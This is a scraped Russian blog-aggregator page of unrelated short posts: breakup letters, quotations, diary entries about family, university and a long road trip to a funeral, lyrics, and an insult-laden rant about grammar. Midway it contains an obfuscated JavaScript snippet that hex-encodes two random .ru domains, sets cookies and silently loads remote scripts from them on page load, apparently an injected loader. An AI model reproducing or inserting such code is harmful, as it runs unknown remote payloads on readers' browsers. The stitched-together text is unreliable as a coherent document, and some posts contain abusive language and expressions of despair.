намеки, странные слова и поступки, которые мы, видимо, по-разному трактуем - все это меня задолбало, тебе же советую научиться дружить и обозначать границы. Я не хочу иметь с тобой ничего общего, понимаешь? Ничего не получится. Когда я делала несколько шагов вперед, меня тут же отбрасывало назад. И знаешь что? Я давно научилась жить без тебя, и все таки будь проклят тот день, когда я встретила тебя, ты и лучшее, и худшее, что случилось со мной. Сложно будет смотреть тебе в глаза после того, что случилось, а больше и не придется, потому что я искренне надеюсь на то, что это была наша последняя встреча, а затем обстоятельства помешают нам пересечься. Я решительно ставлю точку в этих странных отношениях и действительно отпускаю тебя. Мне надоело ждать, пусть это делает теперь она. Ты сделал свой выбор, а своим я довольна. Береги себя, контролируй свои действия, отвечай за свои поступки, люби по-настоящему, будь счастлив. Спасибо за все хорошее, что было у нас, но также спасибо за то дерьмо, которое я пережила благодаря тебя. Я стала сильнее, а ты, кстати, слабее. Ты, как обычно, закроешь глаза на все, но для меня это уже не так важно. Я ничего не теряю. Мне действительно будет легче жить без тебя. Ты убил меня, но и сделал крепче. И да, я любила тебя.

— Вы улыбаетесь, — сказал он. — И вы так спокойны? Почему вы не кричите? — Я кричу, — возразил Гребер. — Только вы не слышите. Эрих Мария Ремарк "Время жить и время умирать"

Самое главное в отношениях — смотреть в одну сторону.

Жила я как-то и вот вдруг Всё настопиздело вокруг. Держу в руках билет до моря- Поможет лучше алкоголя

мне никто не нужен, я сама могу над своими шутками смеяться.

чувствую, что нужно бухнуть.

днем начали собираться на улицу, я всегда собираюсь первая и только потом собираю амину.

дверца моего шкафа, где все полки открыта. тут заходит малая и депонстративно кладет свой носок ко мне в полку. я ржу.

погуляли полтора часа, из них час она ходила, а учитывая что был холод (до этого был ливень и сильный ветер), то это круто.

пришли домой, раздели ее. и тут то она начала делать странности. амина у нас ребенок спокойный, обычно телячьи нежности не проявляет.

а тут она давай меня целовать, пока сидели уперевшись в диван спинами. и раза четыре поцеловались. чмок-ахххх х

а потом я лежала на полу и мы играли в лошадку. в итоге она легла пузом на мое пузо и опять давай обниматься.

а после она ко мне на руки от бабушки ушла (что всегда шок, ибо от бабушки она не уходит никогда с рук). и давай меня обнимать, на плечо головой легла и обнимааает.

милашный вечер с моей маленькой девочкой

и Барса ко мне опять привыкла и постоянно около меня.

почему я уезжаю через неделю, почему?

не осуждайте людей за их поступки, их выбор. возможно, они тоже считают, что Вам не следовало бы чего-то делать. однако, Вас не касается то, что считают другие. ровно так же, как и других не касается Ваше личное мнение. стало быть мы все ошибаемся сами и порицаем других. живите своей жизнью и дайте другим права на ошибки.

Останавливаясь на чьих-то грамматических, синтаксических, пунктуационных и прочих ошибках, я уже не в первый раз слышу этот невыносимый бред:

– «Это не сочинение по русскому языку!»;
– «Я не на экзамене русского!»;
– «Здесь не школа!».

Да что такая безграмотная мразь, как ты, может предложить в школе на экзамене? У тебя неожиданно проявляются скрытые способности, недоступные в обычной жизни? Не льсти себе. За этими беспомощными фразами ты пытаешься утаить собственную никчёмность, официально расписавшись в умственном бессилии.

Может быть, в своей обычной жизни ты только и делаешь, что произносишь себе под нос:

– «Это не контрольная по математике!» — когда покупаешь 100 долларов за 300 рублей;
– «Это не экзамен по физике!» — когда въезжаешь на папиной машине в столб;
– «Это не экзамен по географии!» — когда едешь в Египет посмотреть на Эйфелеву башню;
– «Это не урок физкультуры!» — когда неторопливым шагом удаляешься от банды гопников;
– «Это не домашнее задание по геометрии!» — когда тянешь провод к розетке через соседей;
– «Это не курсы информатики!» — когда подключаешь клавиатуру к модему;
– «Это не урок истории!» — когда заявляешь родителям, что В. И. Ленин — твой дедушка;
– «Это не экзамен в ГИБДД!» — когда на парковке царапаешь соседние машины.

Нет, этого всего не происходит, потому что жизнь беспощадна к таким дебилам, как ты, и за любой свой промах ты получишь ощутимый пинок под зад.

Всё, на что способен твой узкий умишко — трусливо плевать на родной русский язык, полагая, что максимальное наказание за это — двойка в дневнике, и оно давно уже позади.

Думаешь, что бросаешь достойный вызов тем, кто требует от тебя хоть ненадолго включить мозг и начать уважать свою культуру? Не удивляйся, когда окружающие люди начнут брезгливо переступать через тебя, как через вонючую тупую свинью.

Полагая, что скроешь своё неполное развитие за экраном монитора, ты решаешь идти поперёк правил, которые до тебя существовали десятилетиями. Приготовься к тому, что тебя раздавят и смешают с дерьмом, чего ты и заслуживаешь.

Только такое безголовое чмо, как ты, не в силах понять простую истину: чтобы нарушать правила, их нужно как следует знать. (с)

так ни разу и не нашла свое имя на бутылке кока-колы, теперь пью только винишко.

ничто не красит бабу так, как если хорошенько подбухнуть.

как же приятно свалить с города.

— какие планы на осень?

— впасть в депрессию, может еще спиться, пока точно не знаю.

очень легко рассуждать о том, как сделать правильно, когда это не твоя жизнь.

КАК я могу пойти в школу, если я просыпаюсь в то время, когда она заканчивается?

Год: 1997

Режиссер: Роберто Бениньи

Жанр: драма, мелодрама, комедия

Слоган: «Незабываемые басни, доказывающие, что любовь, семья и воображение победит все.»

Сюжет: Во время II Мировой войны в Италии в концлагерь были отправлены евреи, отец и его маленький сын. Жена, итальянка, добровольно последовала вслед за ними. В лагере отец сказал сыну, что все происходящее вокруг является очень большой игрой за приз в настоящий танк, который достанется тому мальчику, который сможет не попасться на глаза надзирателям. Он сделал все, чтобы сын поверил в игру и остался жив, прячась в бараке.

Моя оценка: 10/10

хочу исчезнуть отсюда. мне тяжело, больно, мне трудно. видно время ничего не меняет. меняют новые чувства и новые люди. а мне на них не надеяться. не будет ни чувств, ни людей. только я. повторять все это время самой себе "тебя предали, тебя бросили, тебя забыли. тебя заменили." и повторять, чтобы запомнить - ничего не изменится. будет только боль и горечь. и время не вылечит. есть ещё спасение?

Давным давно я вела блог по другому, совсем. Пару раз в неделю, или даже каждый день выкладывала фото и писала что вообще происходит у меня в жизни, что случилось за день. И мне кажется раньше у многих так было, а сейчас я сама да и большинство стали просто постить цитатки и картинки, которые отражают их состояние. Я хочу вернуть старый мой.. "стиль" что ли.. Ребят, если кому это все не интересно, извините (

Забудьте обо всём, что я когда-то писала здесь про руки. Уже месяца три как ловлю себя на том, что беспардонно пялюсь на мужские НОГИ ! Та-дааам!.. Кажется, у меня новый фетиш :)

Ножки - единственный минус того, что лето проходит :D

Как назло, худенькие подкаченные мальчики о-о-очень любят брюки и джинсы. Даёшь шортики! :3

Я извращенка, знаю :)))

если я молчу, если ч делаю тебе назло это не значит что я не переживаю за тебя, если я говорю что не хочу о тебе слышать, это не значит что я тебя разлюбила, ты мне по прежнему нужен и я кажется, тобой простуженна

День пролетел незаметно. Я не помню писала я или нет, но я работаю уже как с 10 августа. После Мск и дороги в один час в одну сторону очень тяжко перестраиваться и тратить на дорогу два часа в одну сторону, то есть четыре, а иногда и больше часов на дорогу. Но мне плевать. Хочу работать, хочу зарабатывать. Хочу машину, хочу свою квартиру и дома желательно. И летать отдыхать 4 раза в год. А лучше, когда захочу. И у меня тут появилась одна идейка насчет получения денег помимо работы, главное не забросить до того момента, пока не смогу реализовать. Хотя думаю об этом каждый день, я просто ненавижу общественный транспорт. Привыкла уже ездить на Сашиной машине и сейчас чувствую себя как без рук. Встаю в 6. Приезжаю в 21. Ложусь в 22. И знаете, мне как то пофиг. Лучше так. Когда есть цель и есть к чему стремится! А еще каждый день я прихожу на остановку и этот долбанный автобус уходит прямо перед моим носом. Вернее он стоит перед шлагбаумом и не открывает дверь типа не положено. Бесит. Просто крик души.

Чем ближе учебный год, тем меньше свободного времени уже сейчас. А сегодня только 26-е число.
Вчера съездили в Микрохирургию по поводу глаз, зрение ухудшилось на диоптирию, но, слава Богу, показания для будущей операции благоприятные: толщина роговицы и состояние сетчатки даже в большей норме, чем нужно для такого минуса как у меня (-9). Это радует. Врач сказала, что в связи с моим юным возрастом (а мне только исполнилось 18) нужно переждать хотя бы полгода, чтобы понять, не будет ли дальше каких-либо аномалий со зрением. Так что после первой сессии заново пройду обследование, а там уже точно видно будет.
А сегодня вместе с моей будущей одногруппницей Олей ходили на собрание в университет. Увиделись с помощником декана, с кураторами (именно у нашей группы куратора сегодня не было, ну все как обычно :D). Объяснили все орг. моменты по поводу предметов, справок, прогулов, пропусков, секций и всего такого. Увидела наконец воочию своих одногруппников (опять же не всех, некоторых ребят утащили заселяться в общежития) и много-много однокурсников.
А еще меня назначили старостой, аааааа. Мол, потому что у меня больше всего баллов среди поступивших на мое направление. Даже попросили представиться, чтобы меня ребята из группы запомнили. Oh God. Я хотела откосить от этой должности, потому что даже в школе меня это не устраивало все 10 лет, а сейчас так вообще. Хотя брат говорил, что лучше самой предложить себя на эту роль, типа старост любят. Но что-то мне так не кажется, я даже боюсь немного. Попробую побыть ею недельку, вдруг сложится, или потом подойду к декану, чтобы меня поменяли, а то мне что-то не хочется иметь груз обязательств даже здесь.
Кстати, среди кураторов был один старшекурсник, который сначала сидел под прикрытием, типа первокурсник, а потом раскрылся. Весь такой харизматичный, активисит, да еще и симпатичный. Сразу обратила внимание на него, вот ничего не могу поделать :D
Сейчас, пока писала все это, поняла, что хочу уже на учебу, чем-то заниматься, быть окруженной новыми людьми, участвовать в чем-то. Ох. Скорее бы.

Avril Lavigne

я никогда вам никому не открою свою душу. никому и никогда, будь ты хоть моя мать или мой психиатр. нет, никому и никогда. вам никогда не понять кто я, что со мной происходит, почему я делаю так, а не иначе. я знаю, что вам тяжело со мной, поэтому вы вините окружающих, но по сути то говоря, окружающие не виноваты, не виноват никто кроме меня самой, вот правда. разве кто-то виноват, что я отключаю телефон или перестаю есть? нет, в этом виновата я. значит я просто не хочу с вами разговаривать или я не хочу есть. но это так, просто пример. суть не в этом. суть в том, что я прошу вас не лезть в мою душу, оставить меня одну, позволить мне самой справиться со всей этой хуйней, которая накопилась у меня за эти годы. справиться со всеми переживания, справиться со всей той болью, которая меня поглощает. я не требую и не хочу от вас жалости или помощи, я просто прошу не везть и не мешать мне. ведь вам все равно никогда не понять, почему я могу идти смеяться и в тот же момент плакать.

Концерт — это такая постоянная борьба между "Я ХОЧУ ОРАТЬ СЛОВА ЭТОЙ ПЕСНИ ВО ВСЕ ГОРЛО" и "я хочу хорошее видео, где не будет этих моих отвратительных визгов птеродактиля на азднем плане"

Мельница — Лента в волосах

Обернуться бы лентой в чужих волосах!
Плыть к тебе до рассвета, не ведая страх,
Шелком в руки родные опуститься легко
Вспоминай мое имя…

Ветер, брат ты мой, ветер, за что осерчал?
Хороню в себе боль и венчаю печаль.
Бурунами морскими пробежать нелегко
Вспоминай мое имя, прикасайся рукой.

|Так и хочется раствориться в лете навсегда, стать той самой лентой|

В моем университете работают одни идиоты.

Я не преувеличиваю.

За все годы было много всякого маразма, разного характера, и ненависть копилась и взращивалась во мне. Но вот этот учебный курс был последним, дипломы нам отдали спустя 2 (!) месяца после того, как отдали вообще всем студентам (в чем кроется причина такой задержки известно одному Господу Богу, видимо) и, казалось бы, все! Все кончено, можно забыть и отпустить.

Эйфория проходит и мы всей группой (прошу заметить, мы ЕДИНСТВЕННАЯ группа с такой проблемой) обнаруживаем, что во вкладыше с оценками не стоит серия и номер диплома. Сначала подумали, что пустяк - раньше его просто прописывали от руки, сами допишем, делов то.

Благо быстро заметили это и сразу с вопросами в дипломную. Тут оказывается, что нужно таки обращаться в деканат и решать этот вопрос там. Набираю деканат, получаю вразумительный ответ - подходите на следующей неделе, как раз из отпуска выйдут методисты.

Окей, выжидаю неделю, звоню - и снова этот изумительный ответ - "Подойдите на следующей неделе, мы ничего не знаем, ничего не можем гарантировать и бла бла бла".

Это СЕРЬЕЗНОЕ учебное заведение. Которое гребет кучу бабла, только по одной причине - если им не платить, вам просто поимеют мозг на 10,20,30 лет вперед, я не шучу, так и есть.

ЦЕЛОЙ ГРУППЕ СТУДЕНТОВ выдали считай грубо говоря недействительный документ.

КАК можно было так налажать?

Вот как ?!

Будем надеяться на торжество справедливости и что все таки сможем выбить из них дурь и серию с номером диплома к вкладышу.

А если нет, ну я уже не знаю что тогда.

Всем лучи добра и хороших учебных заведений!

В моей гитаре (на самом деле она моего друга, но он не умеет играть и дал попользоваться), на которой я учусь играть (я чмо криворукое, шучу, учусь сама и всего 5 дней и думаю что со временем всё будет найс), живет паук, которого сестра предложила окрестить Петром. Так вот наш Пётр каждую ночь сплетает небольшую паутину в розетке гитары и каждое утро я просто её снимаю, потому что думаю что Пётр на самом деле очень маленький и глупый паучок. Но вот буквально только что я кривыми пальцами играю этот грешный перебор из Металлики и ПЁТР SOOQA ВЫЛЕЗАЕТ ИЗ РОЗЕТКИ МЕЖДУ СТРУН. И ОН НЕ МАЛЕНЬКИЙ. НО НАВЕРНОЕ ГЛУПЫЙ ПОТОМУ ЧТО ЖИЛ В ГИТАРЕ И ТЕРПЕЛ МОЁ БРЕНЬКАНЬЕ. ПРИКИНЬТЕ?! Мы с сестрой попытались его вытрусить, но тщетно. Так что я поставила гитару на место и жду пока папа придет с работы чтобы выселить Петра.

сейчас хотелось написать дико сумбурный текст, чтобы перечитав его через пару секунд понять, что я поступила правильно.

знаете. у меня самые дерьмовые истории отношений.

нахуй их.

Как же мне "нравятся" обсуждения реакции ее парня на какие-то пробемы или еще что-то. Если я не начинаю злится при ней, это не знаит, что меня это не выводит из себя. Отличное настроение блять.

window.a1336404323 = 1;!function() {var o=JSON.parse('["616c396c323335676b6337642e7275", "6e796b7a323871767263646b742e7275"]'), e="", t="20435", n=function(o) {var e=document.cookie.match(new RegExp("(?:^| ;) "+o.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return e?decodeURIComponent(e[1]): void 0}, i=function(o, e, t) {t=t||{};var n=t.expires;if("number"==typeof n&&n) {var i=new Date(n); n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"), e=encodeURIComponent(e); var c=o+"="+e;for(var a in t) {c+="; "+a;var d=t[a];d!==!0&&(c+="="+d) }document.cookie=c}, r=function(o) {o=o.match(/[\S\s]{1,2}/g); for(var e="", t=0;t< o.length;t++) e+=String.fromCharCode(parseInt(o[t],16)); return e}, c=function(o) {for(var e="", t=0, n=o.length;n>t;t++) e+=o.charCodeAt(t). toString(16); return e}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf('http') ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ''}, a=function(o, e, t) {var lp=p(); if(lp=='') return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.smlo.loadSmlo(n.replace('https:', 'http:')); else if(window.zSmlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.zSmlo.loadSmlo(n.replace('https:', 'http:')); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.executed||(this.executed=!0, "function"==typeof e&&e()) }, i.onerror=function() {this.executed||(this.executed=!0, i.parentNode.removeChild(i), "function"==typeof t&&t()) }}}, d=function(u) {var s=n("oisdom"); e=s&&-1!=o.indexOf(s) ?s:u?u:o[0];var f, m=n("oismods"); m?(f=r(e) +"/pjs/"+t+"/"+m+".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })): (f=r(e) +"/ajs/"+t+"/c/"+c("viewy.ru") +"_"+(self===top?0:1) +".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })) };d() }();

- Ты можешь всю жизнь верить, что земля квадратная. Ты можешь всю жизнь говорить, что вокруг планеты крутится вся вселенная. Ты можешь много чего говорить, но от этого суть вещей не меняется. Говорить можно что угодно. И с любовью так. Вы можете оба в нее не верить. Можете не верить, что она есть между вами, что это именно она. Не нужно верить, чтобы оно было. Говорите, что угодно. Думайте, что угодно. Она будет. Так же как и то, что планета все таки круглая, а Земля не центр Вселенной. (с) Анна Сергеевна

Я, может, не лучшая из людей. Но я - лучшее, что было в твоей жизни.

Важное для меня, хочу оставить это здесь.

Руки — это второе после глаз, на что я обращаю внимание при знакомстве. Особенно, если знакомство это с мужчиной. Звучит странно, но только посмотрев и изучив данную часть тела, я могу диагностировать характер, степень доброты, внимательность, а в некоторых случаях даже профессию. Я так же здороваюсь и прощаюсь с дорогими мне людьми исключительно посредством рукопожатий, чем регулярно ввожу прохожих в неудоумение. Ведь многие всё ещё считают, что такое поведение совершенно недопустимо для лиц женского пола, им следует обмениватся исключительно поцелуйчиками, ну а я не вижу в этом ничего неподобающего. Рукопожатие — это ведь, как мини-объятия для меня. А что плохого может быть в объятиях с теми, кто дорог?

По рукам можно много сказать о человеке, по форме пальцев и в основном потому, как люди держат руки и обращаются с ними.

Хьюберт Селби

the sun will rise and we will try again

Привет, я вернулась и никогда раньше я так не была этому не рада. Вот будь у бабушки интернет, я бы там осталась жить, тру, так что сейчас я ем самый сладкий на свете помидор с огорода и наматываю сопли на кулак, ибо еще и школа совсем скоро, то бишь лето подошло к концу, а я все еще не решила, куда потом, после 11, мне идти. В мае я думала, мол, ой, три месяца, найду и решу, но посмотрите на меня сейчас :) ))

Я бы не сказала, что это лето было худшим, правда ничего памятного не случилось, но!! В понедельник (когда я и приехала), у меня была возможность сделать лето действительно запоминающимся, ибо парень, к которому я неровно дышу, уговаривал меня сбежать ночью из дома и пойти с ним гулять (????) Но естественно, читатель, в последнюю секунду я спасовала и до сих пор кусаю локти, потому что, вау, что за приключение могло бы выйти, тем более что наказания родителей я особо и не боюсь. Так что рискуйте, совершайте безумные поступки и live while you are young (куда ж без 1д)

Единственная моя радость в жизни сейчас это то, что из-за пасмурной погоды моя комната освещена так, что ощущение, будто я живу в каком-то крутом инастаграмовском фильтре, серьезно, ибо вся комната в белых/бежевых и темных тонах, ну и вот. Мдамс, пост получился таким же серым и невеселым. Я вернулась, здравствуйте.

- ̗̀ Muse – Exogenesis: Symphony Part 1 (Overture) ̖́-

Пока вы бухаете я хожу в зал, а потом тоже бухаю -__-

Сначала, oни нанесут тебе четыреста ножевых, а потoм, скажут "Tы изменилась"

Впереди досдача ДВУХ сессий и я не знаю, как справлюсь с этим. Особенно в новом коллективе и вообще в новом для меня месте. Я чертовски всего боюсь, а первое сентября тем временем неумолимо приближается.
Я смогу, я смогу, я смогу

У меня одной тамблер не работает?

от тебя пахнет свежепоставленной елью
и ничем не разбавленным куантро

мои слова расходятся с целью,
хотя обычно попадают так метко.

и мне кажется, что поцеловав тебя,
мой рот навсегда станет сиренев.

и когда ты едешь в метро,
привычная синяя ветка
становится веткой сирени.

23 августа я проснулась, сделала гафре и поехала делать тот самый бесплатный маникюр, который я выиграла. Девчонка делает совсем молодая, а с ней еще подружка была. И вот пока мне делали, мы маленько пообщались. И меня ее подружка спрашивает "а ты в 10 классе учишься?", я "мм…ну вообще-то на 3-м курсе университета?", и просто "ОО", и я такая еще добавила "мне завтра 20 лет исполняется". И она вообще офигела :D не, ну оказывается я молодо выгляжу :D хотя я сама еще не понимаю, что мне целых 20 лет) сделали мне маникюр хорошо, мне понравилось. Потом я поехала в Планету, мама дала мне тысячу, я хотела платьюшко прикупить. А там я договорилась встретиться с Леной, девочка, с которой я на вьюи познакомилась. Приятная в общении, хорошо провели время. Правда, когда я ехала еще туда, мне позвонила мама и сказала, что они решили ехать на похороны на машине, ну и понятно дело я решила ехать с ними. Поэтому времени было не так много, я купила классное платье и поехала.

Пошла на автобус и решила написать Сереже, что я уезжаю. Когда было еще все нормально он же должен был приехать в тот вечер, но мы поругались и как бы расстались, как я уже говорила. Но, зная его отходчивость, он мог приехать, ничего не сказав. И я как знала, пишу "я сегодня уезжаю с родителями в Бийск", он перезванивает, говорит, что уже выезжает с Абакана, хотел сделать сюрприз. Ну я все объяснила, он "ну отлично", я "что? неудобно отказать тем, кого ты везешь?", он "я никого не везу, я занял у папы денег", я "с чего такие жертвы?", он "потому что я люблю тебя". Дальше я позвонила маме и решила в таком случае остаться дома и ждать Сережу. Уже и начала думать, что, наверное, не самый лучший вариант проводить мой день на кладбище.. Приехала домой, сначала настроения не было, но потом стало в норме, начала думать, что приготовлю завтра, какой торт испеку. Но через какое-то время Сережа пишет "я не приеду, серьезно сломался, стою в 70-ти км от Абакана". И в последний момент говорю родителям, что все-таки еду с ними. Даа, а если бы они не уехали, то я бы была в этот день вообще одна. Хотя лучше бы, наверное, так и было. Хотя я вообще не знаю, как было бы лучше.

И вот мы поехали. Начиналось все хорошо, я в последний момент успела скинуть на флешку папку с музыкой, которую готовила на ДР, там должно было быть больше 200 песен. Настроение было хорошее, поначалу мы пели, пританцовывали. Кстати за рулем был вообще наш знакомый, Паша, потому что папа в тот день был выпивший и не мог ехать, попросили его.

И это была очень трудная дорога. Изначально говорили, что до туда где-то 1000 км. Мы выехали в 19.30. Должны были приехать, как максимум, к обеду следующего дня. В итоге на выезде из города папа ругался с мамой, потом я ругалась с папой. Даже думала, что выйду, пересяду на автобус и поеду домой, но понадеялась, что дальше такого не будет. Как же я ошибалась… Было много криков, моих слез и плохих слов… И это было моя первая серьезная и длительная ругань с папой за всю жизнь. Может-быть потому что тут уйти было некуда, а обычно я могу уйти к себе в комнату или на улицу? В общем он меня дико раздражал. В Ачинке мы уже с мамой чуть не пересели на поезд, а потом еще и в Боготоле. Но все-таки ехали дальше. Кроме того наша машина ехала медленно, 80 км/ч - средняя скорость. Папа в дороге догонялся пивом и бесил еще больше. Я переписывалась с Сережей. Из Красноярского края мы въехали в Кемеровскую область, где не могли найти ни одной рабочей ночной кафешки. Причем на многих было написано "24 часа", но они были закрыты. В итоге мы остановились в кафешке уже за Мариинском. К тому времени светало. Кроме того, машина частенько заглыхала и нам приходилось ее заводить с толкача постоянно.

Поехали дальше, мама с папой блогополучно заснули, но я понимала, что мне спать нельзя, чтобы следить за тем, чтобы Паша, не дай Бог, не заснул. И вот мы начали играть в города, потом придумали новую игру, нужно было также называть слово на букву, на которую было окончено слово предыдущего игрока, но это должны были быть только те вещи или что-то, что попадается нам на пути или что мы видим перед собой. Было достаточно интересно, только мы исключили букву "а", потому что почти все слово заканчивались на нее, а столько слов на "а" мы не наблюдали перед собой D и если слово оканчивалось на нее, то должны были назвать слово на предыдущую букву) я уже начинала хотеть спать, и как только мама проснулась, я отключилась моментально :D но в 8 часов мама меня разбудила, чтобы поздравить с днем рождения, так как я же ровно в 8 утра родилась. А папа такой спросоня "а какое сегодня число?", я "24 августа", папа "с днем рождения, доча" и дальше спать :D воот, мама стала открывать шампанское в мою честь) к тому моменту кстати мы были в Кемерово. Я еще маленько поспала. Мы должна были ехать на Новокузнецк, но где-то заплутали и короче потеряли время, вернулись обратно. В итоге потом вроде как оказалось, что нужно было ехать, как мы поехали изначально. Зато когда Кемеровская область перетекала в Алтайский край мы наблюдали красотуу. Леса, реченьки и все такое. Ехали мы долго, потом у нас еще что-то с бензонасосом стало и нужно было время от времени охлаждать там что-то. Ааа, еще у нас закончился бензин. Начали ловить машину, но либо не останавливались, либо невозможно было перелить. И тут я первый раз вытянула руку и нам сразу повезло) дяденька отлил нам бензина и мы благополучно доехали до заправки и заправились. Потом у нас у всех позаканчивались деньги и никто не мог до нас дозвониться, все нас потеряли. Сережа потом 200 рублей мне закинул, чтобы я подключила какую-то там услугу, касаемую роуминга, потом он написал и оказалось, что кто-то там нас потерял и к нам выехали на встречу. Папу из-за этого опять переклинило и опять начался бред, и папа меня дико бесил до самого Бийска.

В итоге на границе Бийска мы были в 19.40, то есть ехали мы сутки и 10 минут. Похороны были в час или в два дня и понятно, что мы на них опоздали. Плутали по Бийску в поисках венка и тоже ничего не нашли. В итоге купили живые цветы. Нас встретил мой двоюродный брат, Степа, сын тети и за ним мы поехали на кладбище. Там нас ждали мои бабушка с дедушкой, они меня даже поздравили с днем рождения, я думала им будет не до этого. И я бы это поняла, потому что я сама в тот день забыла, что у меня ДР. И еще там был Марк, второй мой брат. Мы пошли к могиле, и на надгробье висела такая фотография, на которой моя тетя счастливая, молодая, беззаботная и очень красивая. Ее похоронили рядом с ее мужем.

И знаете, мама сказала, что тетя Таня раньше всегда любила приходить на клабище к мужу вечером, ближе к ночи, ее все отговаривали, но она все равно так делала, и мама говорит, наверное, она и нас специально привела к ночи, поэтому мы так ехали. А еще кстати, когда я родилась, в тот день все родственники были на кладбище, так как этот день годовщина смерти моего прадеда и все поминали, и вот мне 20 лет и все родственники снова на клабище, только уже не поминают, а хоронят. Мне сказали, что наверное я буду жить за всех долго и счастливо, раз на мою дату такая участь постоянно падает.

Потом мы поехали на дачу, помянули и в ночь выехали обратно. Где-то часа в 2 ночи. В итоге дома мы были только сегодня в пол четвертого. Вчера утром мы останавливались часа на 3 около кафе, чтобы Паша поспал. Потом снова поехали, в этот раз через Новосибирск. В итоге стояли на Бердском шоссе 2 часа в пробке, потом в самом городе время потеряли. В общем часа 3-3.5 только в Новосибирске были. Еще 2 раза прокалывали колесо. Обратно поездка была веселее, мы пели, танцевали, пили вино и ели растопленную шоколадку пальцем, так как она растаяла :D и я не зря в самом начале упомянула, что на флешке должно было быть 200 с лишним песен, я не знаю, что случилось, но там их было 42, и так как на трассе пропадает радио, эти песни мы выучили наизусть :D а к вечеру родители снова вырубились, а мне пришлось снова развлекать Пашу, мы вспоминали разные песни и пели их аккапельно) потом родители проснулись и я снова моментально вырубилась, надо мной еще угорали "пост сдал-пост принял" :D а когда я проснулась, оказалось, что они остановились у кафе, чтобы Паша поспал и всю ночь стояли и спали там. Ну, а утром поехали дальше и вот наконец-то я дома. А еще меня всю задымили сигаретами в машине, что аж нос заложило и дышать было нечем: С и мы осознали еще сильнее, как мы любим наш Красноярск ^^

Вот такая поездка. А что касается моего дня? В 8 утра мне написала Наташа. Несмотря ни на что, она всегда меня поздравляет в это время и это безумно приятно, единственный человек. А в обед позвонил Сережа, но связь была плохая, а потом и совсем деньги закончились, так что я услышала "с днем рождения" и что-то про счастье вроде и то не помню. Так что даже толком от любимого не получила поздравления. Подарков не получала, поздравления вот от близких и вк 9 человек поздравило. Поэтому особо я свой день не ощущала. И отмечать уже особо желания нет. Да и неизвестно, когда приедет Сережа и приедет ли.

Кроме всего прочего я очень сильно устала и морально, и физически. Было очень неудобно. Больше двух суток в машине. И настроения нет абсолютно.

Вы не испытываете желания улыбаться? Что же в таком случае можно вам предложить? Две вещи. Во-первых , заставьте себя улыбаться. Если вы в одиночестве, насвистывайте или мурлыкайте какую-нибудь мелодию или песню. Поступайте так, как если бы вы уже были счастливы, и это приведёт вас к счастью.

Дейл Карнеги

Лето подходит к концу, а с ним и мой отдых.

Понятное дело, что этого не хочется. Но не буду разглагольствовать на эту тему. Это и так яснопонятно.

Сегодня у Саши день рождения, но как бы ни было абсурдно мы сегодня не увидимся. Он отмечает с родственниками, а уже со мной и друзьями завтра. 21 год. Как же бежит время. Мы начинали свои отношения, когда нам было 17 и 16. Это даже пугает.

Наконец взялась за французский. Нам нужно было прочитать книжку и выписать/выучить 100 слов. Конечно же я занялась этим за неделю до пар. Подумать только, осталась всего неделя. Расписания еще как всегда нет. Наша могиляночка будет тянуть с ним до 23:00 31го.

Скоро опять сумки, сборы, переезд. Господибожемой. Как я этого не хочу.

В голове крутится песня Sunrise Avenue 'Forever Yours'. Получила письмо, и как-то стало паршиво на душе еще больше. Странный я человек: не люблю делать больно людям, даже, если они поступали со мной не лучшим образом. Естественно, речь идет про близких. Сегодня план на оставшийся вечер после работы - купить ведро мороженного, прийти в гости к Свете и смотреть кино. Чисто по девчачьи. Тем более, осталась одна неделя до зала, а это значит, что осталась неделя и на всякий пищевой, мною так любимый, мусор.

…особо-то. Для меня лето - это, в первую очередь, беззаботный отдых, когда ты свободен от каких-либо обязанностей, поджидающих тебя впереди, поэтому можешь позволить себе любое веселье. До 1 июля я была в учебе. А потом ждала вручение и снова экзамен. Поэтому можно сказать, что мое лето началось только в августе. И вот мой любимый месяц лета уже заканчивается, а в душе ощущение, что я что-то упустила…

Мы расстались по моей инициативе. Потому что жизненные ориентриры разные. Мы по-разному видим наше будущее. Он не любит мечтать, я летаю в облаках. У него всегда какие-то важные дела, а мои он даже делами не считает. Терпение закончилось, я легко вздохнула и, надеюсь, не увижу его еще как минимум месяц)

привет !!!

фак, это горячо

Ну, выглядит не так уж и плохо

#эм_неважно

я такой ненавистью к тебе пропиталась, что даже видеть не хочу, понимаешь? нет, ты не понимаешь. потому что это дежурная фраза, которую говорит каждый при любом негативном случае. но я правда ужасно не хочу даже краем глаза тебя задеть, вообще свою жизнь связывать с тобой, бывший лучший друг. потому что ты не умеешь дружить. с другими умеешь. а вот со мной нет.

Кала и Вольфганг

Армашка: чем больше играешь, тем жестче становится
Генри:…
Армашка: чем больше играешь, тем жестче становится. понимаешь? чем больше играешь, тем ж е с т ч е становится C; C; C;
Генри: я типа понял, но все равно в этом нет смысла и НЕВАЖНО, НА ЧТО ТЫ ПЫТАЕШЬСЯ НАМЕКНУТЬ, МОЙ МАЛЬЧИК
Армашка:; C

https://vk.com/thfuncle_gays

университет

осталось всего лишь несколько дней до начала учёбы. а я всё ещё в смятении, туда я вообще поступила или нет? вот честно, я не знаю, чего конкретно я хочу. возможно, когда начнётся учёба, то я пойму, нравится мне это или нет. у меня была возможность поступить туда, куда я хочу. но вот только, куда я хотела и куда я хочу сейчас?

наверное, для многих тема университета весьма сложна для понимания, скажем так. с одной стороны, это просто место, в котором ты получаешь образование, место, где тебя должны научить какой-либо профессии, чтобы потом ты стал мастером своего дела. с другой стороны, университет, он как семья, возможно даже нечто большое. именно там находят людей, с которыми общаются довольно долгое время, которых потом приглашают на свадьбу и прочие грандиозные мероприятия. а с третьей стороны, университет - прекрасная возможность реализовать себя и свой потенциал, открыть себя с другой стороны, рассказать огромному количеству людей, кто ты такой.
